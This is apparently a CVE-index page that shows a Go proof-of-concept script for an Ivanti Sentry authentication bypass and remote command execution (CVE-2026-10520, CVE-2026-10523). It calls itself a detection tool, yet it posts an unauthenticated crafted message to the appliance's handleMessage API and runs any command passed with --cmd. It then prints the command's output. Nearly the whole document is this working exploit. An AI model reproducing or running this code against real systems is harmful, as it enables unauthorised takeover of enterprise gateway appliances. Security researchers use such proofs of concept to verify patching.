5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / tot_poc.go GO
package main

import (
	"crypto/tls"
	"encoding/json"
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"regexp"
	"strings"
	"time"
)

const banner = `
 ██████╗██╗   ██╗███████╗    ██╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝    ██║██║   ██║██╔════╝
██║     ██║   ██║█████╗      ██║██║   ██║███████╗
██║     ╚██╗ ██╔╝██╔══╝      ██║╚██╗ ██╔╝╚════██║
╚██████╗ ╚████╔╝ ███████╗    ██║ ╚████╔╝ ███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═╝  ╚═══╝  ╚══════╝
Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523
[*] Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Tool
CVES: [CVE-2026-10520, CVE-2026-10523]
Author: GhostGTR666 - Gagaltotal666
Github: https://github.com/gagaltotal/CVE-2026-10523-Ivanti-sentry

`

const (
	userAgent        = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
	defaultTimeout   = 10 * time.Second
	maxResponseSize  = 10 * 1024 * 1024
	successMarker    = "Message handled successfully"
	resultXMLPattern = `<result><success>(.*?)</success></result>`
)

type APIResponse struct {
	Data string `json:"data"`
}

type Config struct {
	BaseURL string
	Cmd     string
	Proxy   string
}

type HTTPClient struct {
	client *http.Client
}

func NewHTTPClient(proxy string) (*HTTPClient, error) {
	transport := &http.Transport{
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
	}

	if proxy != "" {
		proxyURL, err := url.Parse(proxy)
		if err != nil {
			return nil, fmt.Errorf("invalid proxy URL: %w", err)
		}
		transport.Proxy = http.ProxyURL(proxyURL)
	}

	return &HTTPClient{
		client: &http.Client{
			Transport: transport,
			Timeout:   defaultTimeout,
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return http.ErrUseLastResponse
			},
		},
	}, nil
}

func (c *HTTPClient) MakeCommandRequest(baseURL, command string) (*http.Response, error) {
	baseURL = strings.TrimRight(baseURL, "/")
	targetURL := fmt.Sprintf("%s/mics/api/v2/sentry/mics-config/handleMessage", baseURL)

	data := fmt.Sprintf(
		"message=execute+system+/configuration/system/commandexec+<commandexec><index>1</index><reqandres>%s</reqandres></commandexec>",
		url.QueryEscape(command),
	)

	req, err := http.NewRequest(http.MethodPost, targetURL, strings.NewReader(data))
	if err != nil {
		return nil, fmt.Errorf("failed to create request: %w", err)
	}

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("User-Agent", userAgent)

	fmt.Printf("[+] Sending command execution check to: %s\n", targetURL)

	return c.client.Do(req)
}

func ExtractCommandOutput(body string) (string, error) {
	if !strings.Contains(body, successMarker) {
		return "", fmt.Errorf("success marker not found")
	}

	data := body
	var apiResp APIResponse
	if err := json.Unmarshal([]byte(body), &apiResp); err == nil && apiResp.Data != "" {
		data = apiResp.Data
	}

	if !strings.Contains(data, "<result><success>") {
		return "", fmt.Errorf("result XML structure not found")
	}

	re := regexp.MustCompile(resultXMLPattern)
	re.Longest()

	matches := re.FindStringSubmatch(data)
	if len(matches) < 2 {
		return "", fmt.Errorf("failed to extract command output")
	}

	return matches[1], nil
}

func ReadResponseBody(resp *http.Response) (string, error) {
	defer resp.Body.Close()

	limitedReader := &io.LimitedReader{R: resp.Body, N: maxResponseSize}
	body, err := io.ReadAll(limitedReader)
	if err != nil {
		return "", fmt.Errorf("failed to read response body: %w", err)
	}

	return string(body), nil
}

func ParseArgs() *Config {
	var (
		urlFlag   string
		cmdFlag   string
		proxyFlag string
	)

	flag.StringVar(&urlFlag, "url", "", "Target base URL (e.g., https://127.0.0.1:8443)")
	flag.StringVar(&cmdFlag, "cmd", "", "Command to run for detection (e.g., \"uname -a\")")
	flag.StringVar(&proxyFlag, "p", "", "Proxy address:port (e.g., 127.0.0.1:8080)")
	flag.StringVar(&proxyFlag, "proxy", "", "Proxy address:port (e.g., 127.0.0.1:8080)")

	flag.Usage = func() {
		fmt.Fprintf(flag.CommandLine.Output(), "Ivanti Sentry Detection Tool [CVE-2026-10520, CVE-2026-10523]\n\n")
		fmt.Fprintf(flag.CommandLine.Output(), "Usage:\n")
		flag.PrintDefaults()
	}

	flag.Parse()

	if urlFlag == "" {
		fmt.Fprintln(flag.CommandLine.Output(), "Error: --url is required")
		fmt.Fprintf(flag.CommandLine.Output(), "\n")
		flag.Usage()
		fmt.Fprintf(flag.CommandLine.Output(), "\n")
	}

	if cmdFlag == "" {
		fmt.Fprintln(flag.CommandLine.Output(), "Error: --cmd is required")
		fmt.Fprintf(flag.CommandLine.Output(), "\n")
		flag.Usage()
	}

	if urlFlag == "" || cmdFlag == "" {
		return nil
	}

	return &Config{
		BaseURL: strings.TrimRight(urlFlag, "/"),
		Cmd:     cmdFlag,
		Proxy:   proxyFlag,
	}
}

func PrintSummary(cfg *Config) {
	separator := strings.Repeat("=", 60)
	fmt.Println(separator)
	fmt.Printf("Target: %s\n", cfg.BaseURL)
	fmt.Printf("Command: %s\n", cfg.Cmd)
	if cfg.Proxy != "" {
		fmt.Printf("Proxy: %s\n", cfg.Proxy)
	}
	fmt.Println()
}

func main() {
	fmt.Print(banner)

	cfg := ParseArgs()
	if cfg == nil {
		return
	}

	PrintSummary(cfg)

	var proxyURL string
	if cfg.Proxy != "" {
		proxyURL = fmt.Sprintf("http://%s", cfg.Proxy)
	}

	httpClient, err := NewHTTPClient(proxyURL)
	if err != nil {
		fmt.Printf("[-] Failed to create HTTP client: %v\n", err)
		return
	}

	resp, err := httpClient.MakeCommandRequest(cfg.BaseURL, cfg.Cmd)
	if err != nil {
		fmt.Printf("[-] Request failed: %v\n", err)
		return
	}

	body, err := ReadResponseBody(resp)
	if err != nil {
		fmt.Printf("[-] Failed to read response: %v\n", err)
		return
	}

	output, err := ExtractCommandOutput(body)
	if err != nil {
		fmt.Println("[-] Target does not appear to be vulnerable.")
		return
	}

	fmt.Println("[+] Target appears to be vulnerable.")
	fmt.Println("\nCommand output:")
	fmt.Println(strings.TrimRight(output, " \t\n\r"))
}